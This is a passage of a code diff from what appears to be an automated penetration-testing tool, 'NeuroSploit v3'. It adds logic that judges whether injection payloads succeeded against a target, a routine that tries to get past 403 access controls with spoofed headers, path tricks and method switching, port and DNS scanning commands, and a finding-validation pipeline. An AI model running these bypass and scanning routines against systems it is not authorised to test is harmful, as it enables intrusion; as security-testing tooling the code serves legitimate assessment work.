max(baseline_len, 1)) * 100 + + baseline_hash = baseline.get("body_hash") or hashlib.md5( + baseline_body.encode("utf-8", errors="replace") + ).hexdigest() + test_hash = hashlib.md5( + test_body.encode("utf-8", errors="replace") + ).hexdigest() + + # Detect new error patterns in test but not baseline + baseline_lower = (baseline_body if isinstance(baseline_body, str) else "").lower() + test_lower = test_body.lower() + + new_errors = [] + for pat in self._compiled_db_errors: + if pat.search(test_lower) and not pat.search(baseline_lower): + new_errors.append(pat.pattern) + for pat in self._compiled_template_errors: + if pat.search(test_lower) and not pat.search(baseline_lower): + new_errors.append(pat.pattern) + + return { + "status_changed": baseline.get("status", 0) != test_response.get("status", 0), + "baseline_status": baseline.get("status", 0), + "test_status": test_response.get("status", 0), + "length_diff": length_diff, + "length_diff_pct": round(length_pct, 1), + "body_hash_changed": baseline_hash != test_hash, + "new_error_patterns": new_errors, + } + + # ------------------------------------------------------------------ + # Payload effect verification + # ------------------------------------------------------------------ + + def _check_payload_effect(self, vuln_type: str, payload: str, + test_body: str, test_status: int, + test_headers: dict, + baseline_body: str = "", + baseline_status: int = 0) -> Tuple[bool, Optional[str]]: + """ + Check if the payload produced a detectable effect in the response. + + This is signal #3 in multi-signal verification. + Weak checks (NoSQL blind, parameter pollution, type juggling, + HTML injection, JWT, blind XSS, mutation XSS) require baseline + comparison to eliminate false positives. + """ + body_lower = test_body.lower() + baseline_lower = baseline_body.lower() if baseline_body else "" + + # ---- XSS ---- + if vuln_type in ("xss", "xss_reflected", "xss_stored", "xss_dom"): + payload_lower = payload.lower() + # Unescaped reflection — use context-aware analysis + if payload in test_body or payload_lower in body_lower: + from backend.core.xss_context_analyzer import analyze_xss_execution_context + ctx = analyze_xss_execution_context(test_body, payload) + if ctx["executable"]: + return True, f"XSS payload in auto-executing context: {ctx['detail']}" + if ctx["interactive"]: + return True, f"XSS payload in interactive context: {ctx['detail']}" + return False, None + + # ---- SQLi ---- + if vuln_type in ("sqli", "sqli_error", "sqli_union", "sqli_blind", "sqli_time"): + for pat in self._compiled_db_errors: + m = pat.search(body_lower) + if m: + return True, f"SQL error induced by payload: {m.group()}" + return False, None + + # ---- SSTI ---- + if vuln_type == "ssti": + for expr, result in SSTI_EVALUATIONS.items(): + if expr in payload and result in test_body: + # Confirm the raw expression is NOT present (evaluated) + if expr not in test_body: + return True, f"Template expression evaluated: {expr}={result}" + return False, None + + # ---- LFI / Path Traversal ---- + if vuln_type in ("lfi", "path_traversal"): + for marker in FILE_CONTENT_MARKERS: + if marker.lower() in body_lower: + return True, f"File content detected: {marker}" + return False, None + + # ---- Command Injection / RCE ---- + if vuln_type in ("rce", "command_injection"): + for pat in self._compiled_cmd_markers: + m = pat.search(test_body) + if m: + return True, f"Command output detected: {m.group()}" + return False, None + + # ---- SSRF ---- + if vuln_type in ("ssrf", "ssrf_cloud"): + ssrf_markers = ["ami-id", "instance-type", "iam/info", "meta-data", + "computeMetadata", "root:x:0:0"] + for marker in ssrf_markers: + if marker.lower() in body_lower: + return True, f"Internal resource content: {marker}" + return False, None + + # ---- Open Redirect ---- + if vuln_type == "open_redirect": + if test_status in (301, 302, 303, 307, 308): + location = test_headers.get("Location", test_headers.get("location", "")) + if "evil.com" in location or location.startswith("//"): + return True, f"Redirect to external: {location}" + return False, None + + # ---- XXE ---- + if vuln_type == "xxe": + for marker in FILE_CONTENT_MARKERS: + if marker.lower() in body_lower: + return True, f"XXE file read: {marker}" + return False, None + + # ---- NoSQL Injection ---- + if vuln_type == "nosql_injection": + for pat in self._compiled_nosql_errors: + m = pat.search(body_lower) + if m: + return True, f"NoSQL error induced: {m.group()}" + # Boolean-based blind NoSQL: require response DIFFERS from baseline + if "$gt" in payload or "$ne" in payload or "$regex" in payload: + if baseline_body and test_status == 200: + len_diff = abs(len(test_body) - len(baseline_body)) + len_pct = (len_diff / max(len(baseline_body), 1)) * 100 + status_diff = test_status != baseline_status + if len_pct > 20 or status_diff: + return True, f"NoSQL blind: Response differs from baseline (delta {len_diff} chars, {len_pct:.0f}%)" + return False, None + + # ---- LDAP Injection ---- + if vuln_type == "ldap_injection": + for pat in self._compiled_ldap_errors: + m = pat.search(test_body) + if m: + return True, f"LDAP error induced: {m.group()}" + return False, None + + # ---- XPath Injection ---- + if vuln_type == "xpath_injection": + for pat in self._compiled_xpath_errors: + m = pat.search(test_body) + if m: + return True, f"XPath error induced: {m.group()}" + return False, None + + # ---- CRLF Injection ---- + if vuln_type == "crlf_injection": + # Check if injected header appears in response headers + injected_headers = ["X-Injected", "Set-Cookie", "X-CRLF-Test"] + for hdr in injected_headers: + if hdr.lower() in payload.lower(): + header_val = test_headers.get(hdr, test_headers.get(hdr.lower(), "")) + if header_val and ("injected" in header_val.lower() or "crlf" in header_val.lower()): + return True, f"CRLF: Injected header appeared: {hdr}: {header_val[:100]}" + # Check for header splitting in body + if "\r\n" in payload and test_status in (200, 302): + if "x-injected" in body_lower or "set-cookie" in body_lower: + return True, "CRLF: Injected headers visible in response body" + return False, None + + # ---- Header Injection ---- + if vuln_type == "header_injection": + # Similar to CRLF but broader + if "\r\n" in payload or "%0d%0a" in payload.lower(): + for hdr_name in ["X-Injected", "X-Custom"]: + if test_headers.get(hdr_name) or test_headers.get(hdr_name.lower()): + return True, f"Header injection: {hdr_name} injected via payload" + return False, None + + # ---- Expression Language Injection ---- + if vuln_type == "expression_language_injection": + for pat in self._compiled_el_errors: + m = pat.search(test_body) + if m: + return True, f"EL error induced: {m.group()}" + # Check for EL evaluation (similar to SSTI) + for expr, result in SSTI_EVALUATIONS.items(): + if expr in payload and result in test_body and expr not in test_body: + return True, f"EL expression evaluated: {expr}={result}" + return False, None + + # ---- Log Injection ---- + if vuln_type == "log_injection": + # Check for injected log line content reflected back + log_markers = ["INJECTED_LOG_ENTRY", "FAKE_ADMIN_LOGIN", "log-injection-test"] + for marker in log_markers: + if marker in payload and marker in test_body: + return True, f"Log injection: Marker '{marker}' reflected in response" + return False, None + + # ---- HTML Injection ---- + if vuln_type == "html_injection": + payload_lower = payload.lower() + # Check for unescaped HTML tags reflected + html_tags = ["", "", "= 2: + return True, "Prototype pollution: Injected properties reflected" + return False, None + + # ---- Host Header Injection ---- + if vuln_type == "host_header_injection": + # Check if injected host is reflected in response + evil_hosts = ["evil.com", "attacker.com", "injected.host"] + for host in evil_hosts: + if host in payload and host in body_lower: + return True, f"Host header injection: {host} reflected in response" + # Password reset poisoning + if "evil.com" in payload: + if "reset" in body_lower or "password" in body_lower: + if "evil.com" in body_lower: + return True, "Host header injection: Evil host in password reset link" + return False, None + + # ---- HTTP Smuggling ---- + if vuln_type == "http_smuggling": + smuggling_indicators = [ + test_status == 400 and "transfer-encoding" in payload.lower(), + "unrecognized transfer-coding" in body_lower, + "request smuggling" in body_lower, + ] + if any(smuggling_indicators): + return True, "HTTP smuggling: Desync indicators detected" + return False, None + + # ---- Cache Poisoning ---- + if vuln_type == "cache_poisoning": + # Check if injected value appears in cached response + cache_headers = ["X-Cache", "CF-Cache-Status", "Age", "X-Cache-Hit"] + is_cached = any( + test_headers.get(h, test_headers.get(h.lower(), "")) + for h in cache_headers + ) + if is_cached and payload.lower() in body_lower: + return True, "Cache poisoning: Payload reflected in cached response" + return False, None + + # ---- Insecure Deserialization ---- + if vuln_type == "insecure_deserialization": + for pat in self._compiled_deser_errors: + m = pat.search(test_body) + if m: + return True, f"Deserialization error: {m.group()}" + # Check for command execution via deser + for pat in self._compiled_cmd_markers: + m = pat.search(test_body) + if m: + return True, f"Deserialization RCE: {m.group()}" + return False, None + + # ---- Parameter Pollution ---- + if vuln_type == "parameter_pollution": + # HPP only confirmed if response DIFFERS significantly from baseline + if "&" in payload and baseline_body: + len_diff = abs(len(test_body) - len(baseline_body)) + len_pct = (len_diff / max(len(baseline_body), 1)) * 100 + status_diff = test_status != baseline_status + if len_pct > 20 or status_diff: + return True, f"Parameter pollution: Response differs from baseline (delta {len_diff} chars, {len_pct:.0f}%)" + return False, None + + # ---- Type Juggling ---- + if vuln_type == "type_juggling": + if test_status == 200: + if "0" in payload or "true" in payload.lower() or "[]" in payload: + auth_markers = ["authenticated", "authorized", "welcome", "admin", "success"] + for marker in auth_markers: + if marker in body_lower: + # Require marker NOT in baseline — otherwise it's normal behavior + if baseline_lower and marker in baseline_lower: + continue + return True, f"Type juggling: Auth bypass ({marker} appears only with juggled type)" + return False, None + + # ---- SOAP Injection ---- + if vuln_type == "soap_injection": + soap_errors = [ + r"soap.*(?:fault|error|exception)", + r"xml.*(?:parse|syntax).*error", + r"", + r"", + ] + for pat_str in soap_errors: + if re.search(pat_str, body_lower): + return True, f"SOAP injection: {pat_str}" + return False, None + + # ---- Subdomain Takeover ---- + if vuln_type == "subdomain_takeover": + takeover_markers = [ + "there isn't a github pages site here", + "herokucdn.com/error-pages", + "the request could not be satisfied", + "no such app", + "project not found", + "this page is parked free", + "does not exist in the app platform", + "NoSuchBucket", + ] + for marker in takeover_markers: + if marker.lower() in body_lower: + return True, f"Subdomain takeover: {marker}" + return False, None + + return False, None + + # ------------------------------------------------------------------ + # Multi-signal verification (core method) + # ------------------------------------------------------------------ + + def multi_signal_verify( + self, + vuln_type: str, + payload: str, + test_response: dict, + baseline: Optional[dict], + tester_result: Tuple[bool, float, Optional[str]], + ) -> Tuple[bool, str, int]: + """ + Combine 4 signals to determine if a vulnerability is confirmed. + + Args: + vuln_type: Vulnerability type (registry key or legacy name) + payload: The payload used + test_response: The HTTP response from the payload test + baseline: Cached baseline response (can be None) + tester_result: (is_vuln, confidence, evidence) from VulnEngine tester + + Returns: + (is_confirmed, evidence_summary, signal_count) + """ + signals: List[str] = [] + evidence_parts: List[str] = [] + max_confidence = 0.0 + + test_body = test_response.get("body", "") + test_status = test_response.get("status", 0) + test_headers = test_response.get("headers", {}) + + # --- Signal 1: VulnEngine tester pattern match --- + tester_vuln, tester_conf, tester_evidence = tester_result + if tester_vuln and tester_conf >= 0.7: + signals.append("tester_match") + evidence_parts.append(tester_evidence or "Pattern match") + max_confidence = max(max_confidence, tester_conf) + + # --- Signal 2: Baseline diff --- + if baseline: + diff = self.compute_response_diff(baseline, test_response) + + # Type-specific diff thresholds + significant_diff = False + if vuln_type in ("sqli", "sqli_error", "sqli_blind"): + significant_diff = diff["length_diff"] > 300 and diff["status_changed"] + elif vuln_type in ("lfi", "path_traversal", "xxe"): + significant_diff = diff["length_diff_pct"] > 50 + elif vuln_type in ("ssti", "command_injection", "rce"): + significant_diff = diff["body_hash_changed"] and diff["length_diff"] > 100 + else: + significant_diff = diff["status_changed"] and diff["length_diff"] > 500 + + if significant_diff: + signals.append("baseline_diff") + evidence_parts.append( + f"Response diff: status {diff['baseline_status']}->{diff['test_status']}, " + f"length delta {diff['length_diff']} ({diff['length_diff_pct']}%)" + ) + + # New error patterns is an independent sub-signal + if diff["new_error_patterns"]: + signals.append("new_errors") + evidence_parts.append( + f"New error patterns: {', '.join(diff['new_error_patterns'][:3])}" + ) + + # --- Signal 3: Payload effect --- + baseline_body = baseline.get("body", "") if baseline else "" + baseline_status = baseline.get("status", 0) if baseline else 0 + effect_found, effect_evidence = self._check_payload_effect( + vuln_type, payload, test_body, test_status, test_headers, + baseline_body=baseline_body, baseline_status=baseline_status + ) + if effect_found: + signals.append("payload_effect") + evidence_parts.append(effect_evidence) + + # --- Confidence rules --- + signal_count = len(signals) + evidence_summary = " | ".join(evidence_parts) if evidence_parts else "" + + if signal_count >= 2: + # 2+ signals → confirmed (skip AI) + return True, evidence_summary, signal_count + elif signal_count == 1 and max_confidence >= 0.8: + # 1 signal + high confidence → confirmed + return True, evidence_summary, signal_count + elif signal_count == 1: + # 1 signal + lower confidence → needs AI confirmation + # Return False but with evidence so caller can decide to ask AI + return False, evidence_summary, signal_count + else: + # 0 signals → rejected + return False, "", 0 diff --git a/backend/core/strategy_adapter.py b/backend/core/strategy_adapter.py new file mode 100644 index 0000000..a0fd264 --- /dev/null +++ b/backend/core/strategy_adapter.py @@ -0,0 +1,438 @@ +""" +NeuroSploit v3 - Strategy Adapter + +Mid-scan strategy adaptation: signal tracking, 403 bypass attempts, +diminishing returns detection, endpoint health monitoring, and +dynamic reprioritization for autonomous pentesting. +""" + +import asyncio +import logging +import time +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Callable +from urllib.parse import urlparse + +logger = logging.getLogger(__name__) + + +@dataclass +class EndpointHealth: + """Health tracking for a single endpoint.""" + url: str + total_tests: int = 0 + consecutive_failures: int = 0 + status_403_count: int = 0 + status_429_count: int = 0 + timeout_count: int = 0 + findings_count: int = 0 + is_dead: bool = False + waf_detected: bool = False + avg_response_time: float = 0.0 + _response_times: list = field(default_factory=list) + tested_types: set = field(default_factory=set) + last_test_time: float = 0.0 + + +@dataclass +class VulnTypeStats: + """Tracking stats per vulnerability type.""" + vuln_type: str + total_tests: int = 0 + confirmed_count: int = 0 + rejected_count: int = 0 + waf_block_count: int = 0 + success_rate: float = 0.0 + avg_confidence: float = 0.0 + _confidences: list = field(default_factory=list) + + +class BypassTechniques: + """403 Forbidden bypass with 15+ techniques.""" + + HEADER_BYPASSES = [ + {"X-Original-URL": "{path}"}, + {"X-Rewrite-URL": "{path}"}, + {"X-Forwarded-For": "127.0.0.1"}, + {"X-Forwarded-Host": "localhost"}, + {"X-Custom-IP-Authorization": "127.0.0.1"}, + {"X-Real-IP": "127.0.0.1"}, + {"X-Originating-IP": "127.0.0.1"}, + {"X-Remote-IP": "127.0.0.1"}, + {"X-Client-IP": "127.0.0.1"}, + {"X-Host": "localhost"}, + ] + + PATH_BYPASSES = [ + "{path}/.", # /admin/. + "{path}/./", # /admin/./ + "{path}..;/", # /admin..;/ + "/{path}//", # //admin// + "{path}%20", # /admin%20 + "{path}%00", # /admin%00 (null byte) + "{path}?", # /admin? + "{path}???", # /admin??? + "{path}#", # /admin# + "/%2e/{path_no_slash}", # /%2e/admin + "/{path_no_slash};/", # /admin;/ + "/{path_no_slash}..;/", # /admin..;/ + "/{path_upper}", # /ADMIN + ] + + METHOD_BYPASSES = ["OPTIONS", "PUT", "PATCH", "TRACE", "HEAD"] + + @classmethod + async def attempt_bypass( + cls, + request_engine, + url: str, + original_method: str = "GET", + original_response: Optional[Dict] = None, + ) -> Optional[Dict]: + """Try bypass techniques on a 403'd URL. + + Returns the first successful bypass response, or None. + """ + parsed = urlparse(url) + path = parsed.path + path_no_slash = path.lstrip("/") + path_upper = path.upper() + base_url = f"{parsed.scheme}://{parsed.netloc}" + + # Phase 1: Header bypasses + for header_set in cls.HEADER_BYPASSES: + try: + headers = {} + for k, v in header_set.items(): + headers[k] = v.format(path=path) + + result = await request_engine.request( + url, method=original_method, headers=headers + ) + if result and result.status not in (403, 401, 0): + logger.info(f"403 bypass via header {list(header_set.keys())[0]}: {url}") + return { + "status": result.status, + "body": result.body, + "headers": result.headers, + "bypass_method": f"header:{list(header_set.keys())[0]}", + } + except Exception: + continue + + # Phase 2: Path bypasses + for path_tmpl in cls.PATH_BYPASSES: + try: + new_path = path_tmpl.format( + path=path, path_no_slash=path_no_slash, path_upper=path_upper + ) + bypass_url = f"{base_url}{new_path}" + if parsed.query: + bypass_url += f"?{parsed.query}" + + result = await request_engine.request( + bypass_url, method=original_method + ) + if result and result.status not in (403, 401, 404, 0): + logger.info(f"403 bypass via path '{new_path}': {url}") + return { + "status": result.status, + "body": result.body, + "headers": result.headers, + "bypass_method": f"path:{new_path}", + } + except Exception: + continue + + # Phase 3: Method bypasses + for method in cls.METHOD_BYPASSES: + if method == original_method: + continue + try: + result = await request_engine.request(url, method=method) + if result and result.status not in (403, 401, 405, 0): + logger.info(f"403 bypass via method {method}: {url}") + return { + "status": result.status, + "body": result.body, + "headers": result.headers, + "bypass_method": f"method:{method}", + } + except Exception: + continue + + return None + + +class StrategyAdapter: + """Mid-scan strategy adaptation engine. + + Monitors endpoint health, vuln type success rates, and global signals + to dynamically adjust testing strategy. + + Features: + - Dead endpoint detection (skip after N consecutive failures) + - Hot endpoint promotion (more testing on productive endpoints) + - 403 bypass (15+ techniques via BypassTechniques) + - Diminishing returns (stop testing unproductive type+endpoint combos) + - Dynamic rate limiting adjustment + - Priority recomputation every N tests + - Global statistics and reporting + """ + + DEAD_ENDPOINT_THRESHOLD = 3 # Consecutive failures before marking dead + DIMINISHING_RETURNS_THRESHOLD = 10 # Max failed payloads before skipping type + ADAPTATION_INTERVAL = 50 # Tests between priority recomputations + MAX_403_BYPASS_PER_URL = 2 # Max bypass attempts per URL + HOT_ENDPOINT_THRESHOLD = 2 # Findings to mark endpoint as "hot" + + def __init__(self, memory=None): + self.memory = memory + self._endpoints: Dict[str, EndpointHealth] = {} + self._vuln_stats: Dict[str, VulnTypeStats] = {} + self._global_test_count = 0 + self._global_finding_count = 0 + self._last_adaptation_time = time.time() + self._last_adaptation_count = 0 + self._403_bypass_attempts: Dict[str, int] = {} # url -> attempt count + self._bypass_successes: List[Dict] = [] + self._hot_endpoints: set = set() + self._rate_limit_detected = False + self._global_delay = 0.1 + + def _get_endpoint(self, url: str) -> EndpointHealth: + """Get or create endpoint health tracker.""" + # Normalize URL (strip query params for grouping) + parsed = urlparse(url) + key = f"{parsed.scheme}://{parsed.netloc}{parsed.path}" + if key not in self._endpoints: + self._endpoints[key] = EndpointHealth(url=key) + return self._endpoints[key] + + def _get_vuln_stats(self, vuln_type: str) -> VulnTypeStats: + """Get or create vuln type stats tracker.""" + if vuln_type not in self._vuln_stats: + self._vuln_stats[vuln_type] = VulnTypeStats(vuln_type=vuln_type) + return self._vuln_stats[vuln_type] + + def record_test_result( + self, + url: str, + vuln_type: str, + status: int, + was_confirmed: bool, + confidence: int = 0, + duration: float = 0.0, + error_type: str = "success", + ): + """Record the result of a vulnerability test. + + Called after each test attempt to update all tracking state. + """ + ep = self._get_endpoint(url) + vs = self._get_vuln_stats(vuln_type) + self._global_test_count += 1 + + # Update endpoint health + ep.total_tests += 1 + ep.last_test_time = time.time() + ep.tested_types.add(vuln_type) + + if duration > 0: + ep._response_times.append(duration) + if len(ep._response_times) > 30: + ep._response_times = ep._response_times[-20:] + ep.avg_response_time = sum(ep._response_times) / len(ep._response_times) + + if status == 403: + ep.status_403_count += 1 + elif status == 429: + ep.status_429_count += 1 + self._rate_limit_detected = True + elif error_type in ("timeout", "connection_error"): + ep.timeout_count += 1 + + # Track consecutive failures + if was_confirmed: + ep.consecutive_failures = 0 + ep.findings_count += 1 + self._global_finding_count += 1 + if ep.findings_count >= self.HOT_ENDPOINT_THRESHOLD: + self._hot_endpoints.add(ep.url) + elif status in (0, 403, 429) or error_type != "success": + ep.consecutive_failures += 1 + if ep.consecutive_failures >= self.DEAD_ENDPOINT_THRESHOLD: + ep.is_dead = True + logger.debug(f"Endpoint marked dead: {ep.url}") + else: + # Got a response but no finding -- not a consecutive failure + ep.consecutive_failures = 0 + + # Update vuln type stats + vs.total_tests += 1 + if was_confirmed: + vs.confirmed_count += 1 + else: + vs.rejected_count += 1 + if status == 403 and error_type == "waf_blocked": + vs.waf_block_count += 1 + if confidence > 0: + vs._confidences.append(confidence) + if len(vs._confidences) > 50: + vs._confidences = vs._confidences[-30:] + vs.avg_confidence = sum(vs._confidences) / len(vs._confidences) + vs.success_rate = vs.confirmed_count / vs.total_tests if vs.total_tests > 0 else 0 + + def should_test_endpoint(self, url: str) -> bool: + """Check if an endpoint should still be tested.""" + ep = self._get_endpoint(url) + if ep.is_dead: + return False + return True + + def should_test_type(self, vuln_type: str, url: str) -> bool: + """Check if a vuln type should be tested on an endpoint.""" + ep = self._get_endpoint(url) + vs = self._get_vuln_stats(vuln_type) + + # Skip if endpoint is dead + if ep.is_dead: + return False + + # Skip if this type has 0% success after 15+ global tests AND waf blocks + if vs.total_tests >= 15 and vs.success_rate == 0 and vs.waf_block_count > 5: + logger.debug(f"Skipping {vuln_type}: 0% success + WAF blocks") + return False + + return True + + def should_reduce_payloads(self, vuln_type: str, tested_count: int) -> bool: + """Check if we should stop testing payloads (diminishing returns).""" + vs = self._get_vuln_stats(vuln_type) + + # Allow more payloads for types with good success rate + if vs.success_rate > 0.1: + return tested_count >= self.DIMINISHING_RETURNS_THRESHOLD * 2 + + return tested_count >= self.DIMINISHING_RETURNS_THRESHOLD + + def should_attempt_403_bypass(self, url: str) -> bool: + """Check if we should try 403 bypass for this URL.""" + ep = self._get_endpoint(url) + attempts = self._403_bypass_attempts.get(ep.url, 0) + return ( + ep.status_403_count >= 2 + and attempts < self.MAX_403_BYPASS_PER_URL + ) + + async def try_bypass_403(self, request_engine, url: str, method: str = "GET") -> Optional[Dict]: + """Attempt 403 bypass with multiple techniques.""" + ep = self._get_endpoint(url) + self._403_bypass_attempts[ep.url] = self._403_bypass_attempts.get(ep.url, 0) + 1 + + result = await BypassTechniques.attempt_bypass( + request_engine, url, original_method=method + ) + + if result: + self._bypass_successes.append({ + "url": url, + "method": result.get("bypass_method", "unknown"), + "status": result.get("status", 0), + }) + # Revive endpoint + ep.is_dead = False + ep.consecutive_failures = 0 + logger.info(f"403 bypass success: {url} via {result.get('bypass_method')}") + + return result + + def get_dynamic_delay(self) -> float: + """Get current recommended delay between requests.""" + if self._rate_limit_detected: + return max(self._global_delay, 1.0) + return self._global_delay + + def should_recompute_priorities(self) -> bool: + """Check if it's time to recompute testing priorities.""" + tests_since = self._global_test_count - self._last_adaptation_count + time_since = time.time() - self._last_adaptation_time + return tests_since >= self.ADAPTATION_INTERVAL or time_since >= 120 + + def recompute_priorities(self, vuln_types: List[str]) -> List[str]: + """Recompute vuln type priority order based on observed results. + + Promotes types with high success rates and deprioritizes failed types. + Returns reordered list of vuln types. + """ + self._last_adaptation_count = self._global_test_count + self._last_adaptation_time = time.time() + + def type_score(vt): + vs = self._get_vuln_stats(vt) + if vs.total_tests == 0: + return 0.5 # Untested -- medium priority + # Weighted: success rate + bonus for confirmed findings + score = vs.success_rate * 0.6 + if vs.confirmed_count > 0: + score += 0.3 + # Penalty for WAF blocks + if vs.waf_block_count > vs.total_tests * 0.5: + score -= 0.2 + return score + + scored = [(vt, type_score(vt)) for vt in vuln_types] + scored.sort(key=lambda x: x[1], reverse=True) + + reordered = [vt for vt, _ in scored] + logger.debug(f"Priority recomputed: {reordered[:5]}") + return reordered + + def get_hot_endpoints(self) -> List[str]: + """Get endpoints that have yielded multiple findings.""" + return list(self._hot_endpoints) + + def get_report_context(self) -> Dict: + """Get strategy stats for report generation.""" + dead_count = sum(1 for e in self._endpoints.values() if e.is_dead) + hot_count = len(self._hot_endpoints) + + top_types = sorted( + self._vuln_stats.values(), + key=lambda v: v.confirmed_count, + reverse=True, + )[:5] + + return { + "total_tests": self._global_test_count, + "total_findings": self._global_finding_count, + "endpoints_tested": len(self._endpoints), + "endpoints_dead": dead_count, + "endpoints_hot": hot_count, + "rate_limiting_detected": self._rate_limit_detected, + "bypass_successes": len(self._bypass_successes), + "bypass_details": self._bypass_successes[:10], + "top_vuln_types": [ + { + "type": v.vuln_type, + "tests": v.total_tests, + "confirmed": v.confirmed_count, + "rate": f"{v.success_rate:.1%}", + } + for v in top_types + ], + "hot_endpoints": list(self._hot_endpoints)[:10], + } + + def get_endpoint_summary(self) -> Dict[str, Dict]: + """Get summary of all tracked endpoints.""" + return { + url: { + "tests": ep.total_tests, + "findings": ep.findings_count, + "dead": ep.is_dead, + "403s": ep.status_403_count, + "avg_response": round(ep.avg_response_time, 3), + } + for url, ep in self._endpoints.items() + } diff --git a/backend/core/tool_executor.py b/backend/core/tool_executor.py index f618967..becea24 100644 --- a/backend/core/tool_executor.py +++ b/backend/core/tool_executor.py @@ -135,6 +135,20 @@ class SecurityTool: "command": "dalfox url {target} -o /opt/output/dalfox.txt --silence", "output_file": "/opt/output/dalfox.txt", "parser": "parse_dalfox_output" + }, + "naabu": { + "name": "Naabu", + "description": "Fast port scanner", + "command": "naabu -host {host} -json -top-ports 1000 -silent -o /opt/output/naabu.json", + "output_file": "/opt/output/naabu.json", + "parser": "parse_naabu_output" + }, + "dnsx": { + "name": "DNSX", + "description": "DNS toolkit", + "command": "echo {domain} | dnsx -silent -a -aaaa -cname -mx -ns -txt -o /opt/output/dnsx.txt", + "output_file": "/opt/output/dnsx.txt", + "parser": "parse_dnsx_output" } } @@ -750,6 +764,56 @@ class DockerToolExecutor: return findings + def parse_naabu_output(self, output: str, target: str) -> List[Dict]: + """Parse naabu JSON output""" + findings = [] + ports = [] + + for line in output.split('\n'): + if not line.strip(): + continue + try: + data = json.loads(line) + host = data.get('host', data.get('ip', '')) + port = data.get('port', 0) + ports.append(str(port)) + except json.JSONDecodeError: + # Text mode: host:port + match = re.match(r'^(.+?):(\d+)$', line.strip()) + if match: + ports.append(match.group(2)) + + if ports: + findings.append({ + "title": f"Open Ports Found: {len(ports)}", + "severity": "info", + "vulnerability_type": "Port Discovery", + "description": f"Found {len(ports)} open ports: {', '.join(ports[:20])}", + "affected_endpoint": target, + "evidence": f"Ports: {', '.join(ports)}", + "remediation": "Review exposed services and close unnecessary ports" + }) + + return findings + + def parse_dnsx_output(self, output: str, target: str) -> List[Dict]: + """Parse dnsx output""" + findings = [] + records = [line.strip() for line in output.split('\n') if line.strip()] + + if records: + findings.append({ + "title": f"DNS Records: {len(records)}", + "severity": "info", + "vulnerability_type": "DNS Enumeration", + "description": f"DNS records found: {', '.join(records[:10])}", + "affected_endpoint": target, + "evidence": "\n".join(records[:20]), + "remediation": "Review DNS records for security issues" + }) + + return findings + # Global executor instance _executor: Optional[DockerToolExecutor] = None diff --git a/backend/core/validation_judge.py b/backend/core/validation_judge.py new file mode 100644 index 0000000..69d4361 --- /dev/null +++ b/backend/core/validation_judge.py @@ -0,0 +1,321 @@ +""" +NeuroSploit v3 - Validation Judge + +Sole authority for approving or rejecting vulnerability findings. +No finding enters the confirmed list without passing through this judge. + +Pipeline: + 1. Run negative controls (benign payloads → compare responses) + 2. Check proof of execution (per vuln type) + 3. Get AI interpretation (BEFORE verdict, not after) + 4. Calculate confidence score (0-100) + 5. Apply verdict (confirmed/likely/rejected) +""" + +import logging +from dataclasses import dataclass, field, asdict +from typing import Callable, Dict, List, Optional, Any + +from backend.core.negative_control import NegativeControlEngine, NegativeControlResult +from backend.core.proof_of_execution import ProofOfExecution, ProofResult +from backend.core.confidence_scorer import ConfidenceScorer, ConfidenceResult +from backend.core.vuln_engine.system_prompts import get_prompt_for_vuln_type +from backend.core.access_control_learner import AccessControlLearner + +logger = logging.getLogger(__name__) + + +# --------------------------------------------------------------------------- +# Result types +# --------------------------------------------------------------------------- + +@dataclass +class JudgmentResult: + """Complete judgment result from the ValidationJudge.""" + approved: bool # Should this finding be accepted? + verdict: str # "confirmed" | "likely" | "rejected" + confidence_score: int # 0-100 + confidence_breakdown: Dict[str, int] = field(default_factory=dict) + proof_of_execution: Optional[ProofResult] = None + negative_controls: Optional[NegativeControlResult] = None + ai_interpretation: Optional[str] = None + evidence_summary: str = "" # Hardened evidence string + rejection_reason: str = "" # Why was it rejected (if applicable) + + +# --------------------------------------------------------------------------- +# Judge +# --------------------------------------------------------------------------- + +class ValidationJudge: + """Sole authority for approving/rejecting vulnerability findings. + + Orchestrates negative controls, proof of execution, AI interpretation, + and confidence scoring into a single JudgmentResult. + + Usage: + judge = ValidationJudge(controls, proof, scorer, llm) + judgment = await judge.evaluate( + vuln_type, url, param, payload, test_response, baseline, + signals, evidence, make_request_fn + ) + if judgment.approved: + # Create finding with judgment.confidence_score + else: + # Store as rejected finding with judgment.rejection_reason + """ + + def __init__( + self, + negative_controls: NegativeControlEngine, + proof_engine: ProofOfExecution, + confidence_scorer: ConfidenceScorer, + llm=None, + access_control_learner: Optional[AccessControlLearner] = None, + ): + self.controls = negative_controls + self.proof = proof_engine + self.scorer = confidence_scorer + self.llm = llm + self.acl_learner = access_control_learner + + async def evaluate( + self, + vuln_type: str, + url: str, + param: str, + payload: str, + test_response: Dict, + baseline: Optional[Dict], + signals: List[str], + evidence: str, + make_request_fn: Callable, + method: str = "GET", + injection_point: str = "parameter", + ) -> JudgmentResult: + """Full evaluation pipeline. + + Args: + vuln_type: Vulnerability type (e.g., "ssrf", "xss_reflected") + url: Target URL + param: Parameter being tested + payload: The attack payload used + test_response: HTTP response dict from the attack + baseline: Optional baseline response for comparison + signals: Signal names from multi_signal_verify (e.g., ["baseline_diff"]) + evidence: Raw evidence string from verification + make_request_fn: Async fn(url, method, params) → response dict + method: HTTP method used + injection_point: Where payload was injected + + Returns: + JudgmentResult with verdict, score, proof, controls, evidence + """ + # Step 1: Run negative controls + control_result = await self._run_controls( + url, param, method, vuln_type, test_response, + make_request_fn, baseline, injection_point + ) + + # Step 2: Check proof of execution + proof_result = self.proof.check( + vuln_type, payload, test_response, baseline + ) + + # Step 3: AI interpretation (BEFORE verdict) + ai_interp = await self._get_ai_interpretation( + vuln_type, payload, test_response + ) + + # Step 4: Calculate confidence score + confidence = self.scorer.calculate( + signals, proof_result, control_result, ai_interp + ) + + # Step 4b: Apply access control learning adjustment + if self.acl_learner: + try: + body = test_response.get("body", "") if isinstance(test_response, dict) else "" + status = test_response.get("status", 0) if isinstance(test_response, dict) else 0 + hints = self.acl_learner.get_evaluation_hints(vuln_type, body, status) + if hints and hints.get("likely_false_positive") and hints.get("fp_signals", 0) >= 2: + fp_rate = self.acl_learner.get_false_positive_rate(vuln_type) + if fp_rate > 0.7: + # High historical FP rate + matching FP pattern → penalize + penalty = -20 + confidence.score = max(0, confidence.score + penalty) + confidence.breakdown["acl_learning_penalty"] = penalty + confidence.detail += f"; ACL learning penalty ({penalty}pts, FP rate: {fp_rate:.0%})" + # Recalculate verdict + if confidence.score >= self.scorer.THRESHOLD_CONFIRMED: + confidence.verdict = "confirmed" + elif confidence.score >= 